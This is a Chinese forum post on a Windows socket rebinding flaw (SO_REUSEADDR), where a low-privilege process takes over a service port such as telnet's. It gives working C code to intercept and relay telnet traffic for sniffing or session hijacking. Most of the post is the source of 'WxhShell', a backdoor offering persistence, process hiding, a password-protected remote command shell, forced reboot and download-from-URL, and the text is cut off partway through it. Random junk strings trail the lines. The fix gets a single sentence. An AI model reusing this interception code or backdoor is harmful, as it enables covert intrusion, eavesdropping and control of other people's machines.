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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4)Jtc2z7Z\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P"-*'q,9  
sr S2v\1:  
  saddr.sin_family = AF_INET; GgT 5'e;N  
ht>C6y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \NZ(Xk  
6=pE5UfT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l<3X:)  
dw*PjIB9x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $G\WW@*GE  
mYUR(*[  
  这意味着什么?意味着可以进行如下的攻击: L<D<3g|4  
D;1?IeS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IL0e:-@!0  
hZZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w]@H]>sHd  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ()}(3>O-  
cMU"SO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cePe0\\  
k3PFCl~e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?8U#,qq#`  
kJ'rtz4QO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?2(5 2?cJ  
42oW]b%P{;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A4~- {.w=  
zH5pe  
  #include Sj'Iz #  
  #include IgIM8"N  
  #include Vi m::  
  #include    ""f'L,`{.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H*H~~yQ  
  int main() (-D^_*f  
  { 7!;H$mxP  
  WORD wVersionRequested; Y&uwi:_g  
  DWORD ret; O7"16~ a  
  WSADATA wsaData; i7XM7 +}  
  BOOL val; 3<x1s2U  
  SOCKADDR_IN saddr; ('~}$%C  
  SOCKADDR_IN scaddr; <GWzdj?  
  int err; @B`nM#X#  
  SOCKET s; \1He9~6  
  SOCKET sc; :Ahw{z`H#  
  int caddsize; OZR{+YrB^  
  HANDLE mt; gy`WBg(7x  
  DWORD tid;   *Y':raP  
  wVersionRequested = MAKEWORD( 2, 2 ); PX- PVW  
  err = WSAStartup( wVersionRequested, &wsaData ); $'x#rW>v  
  if ( err != 0 ) { GU|(m~,`  
  printf("error!WSAStartup failed!\n"); Bwc_N.w?3  
  return -1; $KVCEe!X  
  } ElA(1o|9I  
  saddr.sin_family = AF_INET; 7'!DK;=TD6  
   N(l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Js<DVe,  
Qt\^h/zjG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kQ`p\}7_  
  saddr.sin_port = htons(23); `]=0oDG:1!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S}P rgw/  
  { G ?Hx"3:?  
  printf("error!socket failed!\n"); [Y4Wm?  
  return -1; Jr=XVQ(F  
  } LC4W?']/  
  val = TRUE; ] T<#bNK\1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W1&"dT@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fXe$Ug|5a  
  { +1]A$|qyW  
  printf("error!setsockopt failed!\n"); |=:<[FU  
  return -1;  20]p<  
  } 6HZVBZhM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P*]hXm85[K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =gB8(1g8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8+ ]'2{  
-wr_x<7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &3OV|ly]  
  { 81H9d6hqcD  
  ret=GetLastError(); }]Nt:_UCX  
  printf("error!bind failed!\n"); `n RF"T_  
  return -1; q8!]x-5$6j  
  } k;Fxr%  
  listen(s,2); ]v]tBVO$  
  while(1) X/_89<&  
  { CQPq5/@Y4  
  caddsize = sizeof(scaddr); * ,zrg%8  
  //接受连接请求 Vg(M ^2L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qLPuKIF  
  if(sc!=INVALID_SOCKET) I_ AFHrj  
  { S!n?b|_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .Q^V,[on1T  
  if(mt==NULL) phQ{<wzwp  
  { G^';9 UK  
  printf("Thread Creat Failed!\n"); &;sW4jnt  
  break; K)  Ums-b  
  } #q>\6} )  
  } Z6-ZAS(>m  
  CloseHandle(mt); *^w}SE(  
  } da i+"  
  closesocket(s); /=T:W*C  
  WSACleanup(); `(ik2#B`}  
  return 0; ,"F0#5  
  }   1:r#m- \  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2liJ^ `  
  { [k0/ZfFwV  
  SOCKET ss = (SOCKET)lpParam; uQ&> Wk  
  SOCKET sc; t 4VeXp6  
  unsigned char buf[4096]; Y;'SD{On  
  SOCKADDR_IN saddr; 4*D"*kR;  
  long num; E *IP#:R  
  DWORD val; nW} s  
  DWORD ret; LlS~J K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t-5 Y,}j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [9B1%W  
  saddr.sin_family = AF_INET; &YcOmI/MM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C,A/29R,s  
  saddr.sin_port = htons(23); T:Ovh.$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @SyL1yFX  
  { ?z <-Ww  
  printf("error!socket failed!\n"); Pjn{3/*wi  
  return -1; ?D6|~k i  
  } aj,o<J  
  val = 100; 2Y<]X7Ch:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $PI9vyS  
  { H cyoNY  
  ret = GetLastError(); ?3 k_YN"  
  return -1; s2GF*{  
  } JT!9LNh;R`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TVx `&C+  
  { )TKn5[<4  
  ret = GetLastError(); lG Bg8/[  
  return -1; 9X%: ){  
  } ,i??}Wm5G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uo J0wG.  
  { wwywiFj  
  printf("error!socket connect failed!\n"); {=?(v`88  
  closesocket(sc); "M!m-]  
  closesocket(ss); ajtH 1Z#  
  return -1; 1YJ?Y  
  } #{{p4/:  
  while(1) Q$:Q6 /5.  
  { fK+ 5   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >X eXd{$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 80_w_i+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F]PsS(  
  num = recv(ss,buf,4096,0); 5lJL[{  
  if(num>0) &Cv  
  send(sc,buf,num,0); JO0o@M5H  
  else if(num==0) 7U_ob"`JV  
  break; X-_VuM_p  
  num = recv(sc,buf,4096,0); -l57!s~V  
  if(num>0) r A(A$VR  
  send(ss,buf,num,0); \U]K!K=  
  else if(num==0) Z#-N$%^F  
  break; `6J7c;:  
  } )J> dGIb  
  closesocket(ss); Wm`*IBWA  
  closesocket(sc); _<FUS'"  
  return 0 ; n#b{  
  } 'JJKnE zQ  
!ess.U&m'  
GT6i9*tb #  
========================================================== v9-4yZU^WR  
cI@qt>&  
下边附上一个代码,,WXhSHELL )Yy5u'}  
S-q"'5>  
========================================================== o]Ne|PEpO  
&Wcz~Gx3Q  
#include "stdafx.h" BJWlx*U]  
[)s4:V  
#include <stdio.h> 5rB>)p05[  
#include <string.h> Wn+s:o v  
#include <windows.h> *>:phs~r{  
#include <winsock2.h> _7Y-gy#\a  
#include <winsvc.h> <I34@;R c  
#include <urlmon.h> XV]xym~  
g/!MEOVx  
#pragma comment (lib, "Ws2_32.lib") B os`+Y  
#pragma comment (lib, "urlmon.lib") bRy(`  
YR-G:-(#b  
#define MAX_USER   100 // 最大客户端连接数 $M,<=.oT  
#define BUF_SOCK   200 // sock buffer c,.@Cc2  
#define KEY_BUFF   255 // 输入 buffer uK$ Xqo%L  
F+(S-Qk1  
#define REBOOT     0   // 重启 fEXFnQ#  
#define SHUTDOWN   1   // 关机 {c9 f v H  
(KyOo,a  
#define DEF_PORT   5000 // 监听端口  yP+<kv4  
;!S5P(  
#define REG_LEN     16   // 注册表键长度 E#:!&{O  
#define SVC_LEN     80   // NT服务名长度 5["3[h  
c86KDEF  
// 从dll定义API 6_KvS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ial{A6X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /7#e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A)"L+Yu5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZN $%\,<  
dV38-IfGkl  
// wxhshell配置信息 4!!PrXE  
struct WSCFG { -_t4A *  
  int ws_port;         // 监听端口 N s0,Z#Z+  
  char ws_passstr[REG_LEN]; // 口令 _|I8+(~)  
  int ws_autoins;       // 安装标记, 1=yes 0=no _-y1>{]H  
  char ws_regname[REG_LEN]; // 注册表键名 XN Uw  
  char ws_svcname[REG_LEN]; // 服务名 E7iAN\vo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '[liZCg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gjG SI'M0B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a($7J6]M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [%bGs1U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _J6 Xq\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AE~a=e\x  
G7"(,L` 5  
}; }wiyEVAh{  
xtP:Q9!N  
// default Wxhshell configuration Wjl2S+Cc  
struct WSCFG wscfg={DEF_PORT, vO2WZ7E!  
    "xuhuanlingzhe", B_ict)}ld  
    1, p%mHxYP  
    "Wxhshell", l%_K$$C  
    "Wxhshell", f4P({V  
            "WxhShell Service", @z ",1^I  
    "Wrsky Windows CmdShell Service", \OkZ\!<hg  
    "Please Input Your Password: ", q-;Y }q  
  1, 0}e?hbF%U  
  "http://www.wrsky.com/wxhshell.exe", dX/7n=  
  "Wxhshell.exe" 7BU7sQjs  
    }; I?PqWG!O  
ZN)EbTpc\a  
// 消息定义模块 \O "`o4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b;jdk w|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /Z?o%/bw:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rc[~S  
char *msg_ws_ext="\n\rExit."; a-|pSe*rx  
char *msg_ws_end="\n\rQuit."; Skci;4T(  
char *msg_ws_boot="\n\rReboot..."; $T3_~7N  
char *msg_ws_poff="\n\rShutdown..."; KHZ[drb6$  
char *msg_ws_down="\n\rSave to "; B@M9oNWHu  
i,ZEUdd*_  
char *msg_ws_err="\n\rErr!"; y*^UGJC:  
char *msg_ws_ok="\n\rOK!"; \78^ O  
O>pX(DS L  
char ExeFile[MAX_PATH]; { DP9^hg  
int nUser = 0; Z S=H1  
HANDLE handles[MAX_USER]; W{'hn&vU  
int OsIsNt; ^,I2 @OS  
<!RkkU& 6  
SERVICE_STATUS       serviceStatus; oH6zlmqG"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Ah p4oiE  
-(?/95 Y  
// 函数声明 ^OQP;5 #K  
int Install(void); a~ jb%i_  
int Uninstall(void); af | mk@  
int DownloadFile(char *sURL, SOCKET wsh); xP'0a  
int Boot(int flag); 1+$F= M~  
void HideProc(void); jw{N#QDh  
int GetOsVer(void); BkB _?^Nv8  
int Wxhshell(SOCKET wsl); <rgK}&q  
void TalkWithClient(void *cs); *$%~/Q@]  
int CmdShell(SOCKET sock); xwZ1Q,'C  
int StartFromService(void); ~_JfI7={Jn  
int StartWxhshell(LPSTR lpCmdLine); ^/E'Rf3[A  
gq+0t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cJ$jU{}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'e]>lRZ  
u|}\Af  
// 数据结构和表定义 [?7QmZK  
SERVICE_TABLE_ENTRY DispatchTable[] = (Z$7;OAI  
{ .Xp,|T  
{wscfg.ws_svcname, NTServiceMain}, B(Yg1jAe  
{NULL, NULL} q-Z<.GTq  
}; Wo&22,EB  
+3. 9)w  
// 自我安装 wX)'1H):T  
int Install(void) S\N l|U[  
{ wT!?.Y)aj  
  char svExeFile[MAX_PATH]; ! N2uJ?t  
  HKEY key; gD)M7`4  
  strcpy(svExeFile,ExeFile); 9J7yR}2-F  
>mA]2gV<a  
// 如果是win9x系统,修改注册表设为自启动 V z  
if(!OsIsNt) { 2H$](k?   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @Un/,-ck  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $rj:K)P  
  RegCloseKey(key); =t_+ajY%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [x 7Rq_^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :|5 m"X\  
  RegCloseKey(key); :a&M]+!  
  return 0; *bpN!2  
    } Zex~ $r  
  }  LkYcFD  
} ?yAb=zI1b  
else { X_X7fRC0  
.&b^6$dC  
// 如果是NT以上系统,安装为系统服务 8 t=H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JQbaD-  
if (schSCManager!=0) hb8oq3*x  
{ U*K4qJ6U  
  SC_HANDLE schService = CreateService qdk!.A{   
  ( $9\8?gS  
  schSCManager, 2UYtEJ(?`{  
  wscfg.ws_svcname, +/$&P3  
  wscfg.ws_svcdisp, ]v:,<=S  
  SERVICE_ALL_ACCESS, rV"3oM]Lo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $Xo_8SX,  
  SERVICE_AUTO_START, *fi`DiO  
  SERVICE_ERROR_NORMAL, w;$elXP|  
  svExeFile, pR0 !bgC  
  NULL, g0jf Lv  
  NULL, 4 w*m]D{  
  NULL, T@vE@D  
  NULL, .DwiIr'  
  NULL 'U&]KSzxv  
  ); )<J #RgE  
  if (schService!=0) \l0!si  
  { D3g5#.$,}>  
  CloseServiceHandle(schService); ^`xS| Sq1D  
  CloseServiceHandle(schSCManager); ~g[D!HV|yu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p79QEIbk=  
  strcat(svExeFile,wscfg.ws_svcname); ,^ -%<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hQ:wW}HWW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o\tw)_ >  
  RegCloseKey(key); OFv-bb*YZ  
  return 0; A ][ ;v  
    } -2laM9Ed  
  } d/TFx  
  CloseServiceHandle(schSCManager); ?zsRs?rc0  
} M4 ?>x[Pw  
} MftaT5  
Y._ACQG3  
return 1; `mZ1!I-T  
} i%f C`@  
_^eA1}3  
// 自我卸载 *.$ov<E.  
int Uninstall(void) &% (1?\~u  
{ |d42?7}  
  HKEY key; k|]l2zlT  
fk2Uxg=[  
if(!OsIsNt) { +=L+35M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <#Fex'4  
  RegDeleteValue(key,wscfg.ws_regname); o+^e+ptc  
  RegCloseKey(key); iRW5*-66f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2,|@a\H  
  RegDeleteValue(key,wscfg.ws_regname); dj,lbUL  
  RegCloseKey(key); K;`*n7=IA  
  return 0; /'v!{m  
  } y </i1qM  
} h_Er$ZT64  
} E>QEI;  
else { w3>G3=b  
O9N%dir  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %74f6\  
if (schSCManager!=0) Z +<Y.*6  
{ >NpW$P{'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >X>]QMfh  
  if (schService!=0) 2<2a3'pG  
  { 3U?^49bJ  
  if(DeleteService(schService)!=0) { Df1eHa5-7  
  CloseServiceHandle(schService); G<*h,'B  
  CloseServiceHandle(schSCManager); kl&_O8E+K  
  return 0; wDh&S{N  
  } brn>FFAwO  
  CloseServiceHandle(schService); Ki)hr%UFw  
  } Oo\~' I  
  CloseServiceHandle(schSCManager); b\t@vMJ  
} q 7+|U%!9  
} E?m W4?  
 q,'~=Y5  
return 1; O#U_mgfzJ  
} Ujly\ix`  
aUBu"P$J  
// 从指定url下载文件 Lr>4~1:`  
int DownloadFile(char *sURL, SOCKET wsh)  ~#z b  
{ N4 _V  
  HRESULT hr; m )<N:|  
char seps[]= "/"; y|.dM.9V  
char *token; l?beqw:  
char *file; 6tM@I`l  
char myURL[MAX_PATH]; h"N#/zQ  
char myFILE[MAX_PATH]; VqB9^qJ]!  
*\wf(o>Q  
strcpy(myURL,sURL); jRdW=/q+(  
  token=strtok(myURL,seps); ]0p*EB=C*  
  while(token!=NULL) w?p8)Q6m  
  { ~/R}K g(  
    file=token; xm<sH!,j  
  token=strtok(NULL,seps); xJ|Z]m=d   
  }  M Xl!  
tgm(tDL  
GetCurrentDirectory(MAX_PATH,myFILE); $%J $  
strcat(myFILE, "\\"); {S5D~A*a+  
strcat(myFILE, file); i>rsq[l  
  send(wsh,myFILE,strlen(myFILE),0); E{|n\|  
send(wsh,"...",3,0); mZ t:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t+SLU6j,  
  if(hr==S_OK) V-9z{  
return 0; 2HvzMo-4  
else qT_E=)1  
return 1; p$%g$K  
o)6udRzBv  
} d`Em) 3v  
?"q S%EH  
// 系统电源模块 \A3yM{G~+  
int Boot(int flag) 7wc{.~+  
{ i(>v~T,(  
  HANDLE hToken; A,#hYi=-,  
  TOKEN_PRIVILEGES tkp; O0<GFL$)&  
&($Zs'X  
  if(OsIsNt) { x?Oc<CQ-2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6MR S0{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?rH=<#@  
    tkp.PrivilegeCount = 1; ]^\+B4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ? &;d)TQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C!" .[3  
if(flag==REBOOT) { |tS~\_O/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?`O Dt]s  
  return 0; D+  **o  
} #[#dc]D  
else { "ae55ft//  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S\UM0G}v  
  return 0; CSooJ1Ep~'  
} U!x\oLP  
  } t| zLR  
  else {  qz:_T  
if(flag==REBOOT) { DP_ bB(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,Pd2ZfZ  
  return 0; D r$N{d  
} DD hc^(  
else { g)iSC?H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .*g;2.-qv&  
  return 0; 5+O#5" v_  
} , 0rC_)&B  
} 6l$o^R^D  
m"vV=6m|\  
return 1; L3~E*\cV  
} ~ +$l9~`{  
}J$PO*Q@'  
// win9x进程隐藏模块 /qL&)24  
void HideProc(void) F<w/@ .&m  
{ c(AjM9s  
S[" &8Fy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4"j5@bppJ  
  if ( hKernel != NULL ) ;@ d<*  
  { EX&y !  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rd 1&?X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X6<HNLgra  
    FreeLibrary(hKernel); GW{Nc !)  
  } ]yVB66l  
I|O~F e.  
return; 7F'61}qL  
} 6<t\KMd  
LZ ID|-  
// 获取操作系统版本 %9NGVC  
int GetOsVer(void) \aUbBa%!  
{ I"JT3[*s  
  OSVERSIONINFO winfo; ?j0blXl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ($W9 ?  
  GetVersionEx(&winfo); :({lXGc}4?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SqTm/ t  
  return 1; $C)@GGY  
  else [bT@Y:X@`  
  return 0; G:e}>'  
} I@L-%#@R1  
d) o<R;F  
// 客户端句柄模块 Da@tpKU)p  
int Wxhshell(SOCKET wsl) IW BVfN->}  
{ ld@f:Zali  
  SOCKET wsh; &GD7ldck  
  struct sockaddr_in client; S5Px9&N8(  
  DWORD myID; mc$c!Ax*  
(I~,&aBr  
  while(nUser<MAX_USER) $qrr]U  
{ ^3yjE/Wi"  
  int nSize=sizeof(client); X7 Za Q .  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |XH3$;=*h  
  if(wsh==INVALID_SOCKET) return 1; 7e=a D~f  
Dk"M8_-_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &'](T9kg=  
if(handles[nUser]==0) 2\5@_U^)h  
  closesocket(wsh); ckP3[@Su {  
else RY~)MS _C  
  nUser++; 0'~b<>G%  
  } B]qh22Yib  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i ('EBO  
?\pE#~m  
  return 0; RU >vnDaC  
} q,(&2./  
QNtr=  
// 关闭 socket UQdQtj1'  
void CloseIt(SOCKET wsh) =J'?>-B  
{ d!LV@</  
closesocket(wsh); M!jW=^\  
nUser--; aKUr":z  
ExitThread(0); uE|[7,D7;u  
} -$kJERvy  
?7p| F^  
// 客户端请求句柄 j bGH3 L  
void TalkWithClient(void *cs) #&:nkzd  
{ eJA{]^Zf  
Iw:("A&~  
  SOCKET wsh=(SOCKET)cs; bYgYP|@  
  char pwd[SVC_LEN]; k:qou})#4  
  char cmd[KEY_BUFF]; mT>p:G  
char chr[1]; a?MtY EK2  
int i,j; e ^qnUjMy  
MGz> ,c^wW  
  while (nUser < MAX_USER) { Ww@;9US 3  
Y_B 4s-  
if(wscfg.ws_passstr) { @~XlI1g$i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >y~_Hh(TSL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [-gKkOT8E  
  //ZeroMemory(pwd,KEY_BUFF); 7EO&:b]  
      i=0; K{ P#[X*5  
  while(i<SVC_LEN) { *!/#39  
bLzuaNa'  
  // 设置超时 )89jP088V  
  fd_set FdRead; C941 @I  
  struct timeval TimeOut; M!l5,ycF  
  FD_ZERO(&FdRead); bx^EaXj(r  
  FD_SET(wsh,&FdRead); l1qwT0*6>  
  TimeOut.tv_sec=8; 9GwsQ \  
  TimeOut.tv_usec=0; NGs9Jke2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @/(7kh +  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6)$ N[FNs  
Lx{N%;t*E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }gi' %e  
  pwd=chr[0]; o)=VPUe  
  if(chr[0]==0xd || chr[0]==0xa) { mO> M=2A  
  pwd=0; PI \,`^)y  
  break; -b}S3<15@  
  } Lp)8SmN  
  i++; 26VdRy{[  
    } ~&3"Mi&>`  
mRY6[*u  
  // 如果是非法用户,关闭 socket R<-C>D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7NC8<o;  
} aQ:f"0fL  
&:#8ol(n5b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |I5?5 J\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q_.c~I}yV  
Pq>[q?>?  
while(1) { pNQkKDbL+  
# pB:LPEsK  
  ZeroMemory(cmd,KEY_BUFF); :_a]T-GL  
~*c=  
      // 自动支持客户端 telnet标准   {4aY}= -Q*  
  j=0; Sw@,<4S  
  while(j<KEY_BUFF) { r{R7"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zt2@?w;  
  cmd[j]=chr[0]; \u-e\w  
  if(chr[0]==0xa || chr[0]==0xd) { 4 6lEJ  
  cmd[j]=0; 7QiCZcb\  
  break; j~*Z7iu  
  } tZ j,A%<  
  j++; eoe^t:5&  
    } nWF4[<t  
:+Q"MIU  
  // 下载文件 ou^nzm  
  if(strstr(cmd,"http://")) { H..ZvGu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iq uTT~  
  if(DownloadFile(cmd,wsh)) RL Zf{Q>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UnWGMo?JEi  
  else 5Vo}G %g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y0B1xL@  
  } l5Wa'~0qA  
  else { -y*_.Ws9  
zL},`:(.  
    switch(cmd[0]) { ,;iBeqr5  
  ,ANK3n\  
  // 帮助 =8~R $z%  
  case '?': { ki~y@@3I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C9F+e  
    break; ZutB_uW  
  } Lcs{OW,  
  // 安装 H[7cA9FI  
  case 'i': { YZH#5]o8  
    if(Install()) !b]2q%XM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |[37:m  
    else l/ rZcf8z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J/x@$'  
    break; XJ h:U0  
    } <P^hYj-swh  
  // 卸载 8_IOJ]:w  
  case 'r': { q^N0abzgP  
    if(Uninstall()) .b#9q6F-/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }PFt  
    else e*P=2*]M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XW?ybH6  
    break; v<%kd[N  
    } >nhE%:X>  
  // 显示 wxhshell 所在路径 IypWVr   
  case 'p': { !)%>AH'  
    char svExeFile[MAX_PATH]; W ~Jzqp9g  
    strcpy(svExeFile,"\n\r"); 7V=MRf&xQ  
      strcat(svExeFile,ExeFile); L-z ;:Ztk  
        send(wsh,svExeFile,strlen(svExeFile),0); _3.G\/>[K  
    break; NuD[-;N]  
    } e?!L}^f6X  
  // 重启 jJUGZVM6)  
  case 'b': { 7!r#(>I6?1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zkh hN"bX  
    if(Boot(REBOOT)) 6QII&Fg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +mc [S  
    else { hD_5~d  
    closesocket(wsh); Vd%v_Ek  
    ExitThread(0); ^Ti_<<X  
    } 0iJ!K;A2%  
    break; fVDDYo2\  
    } hj&fQ}X  
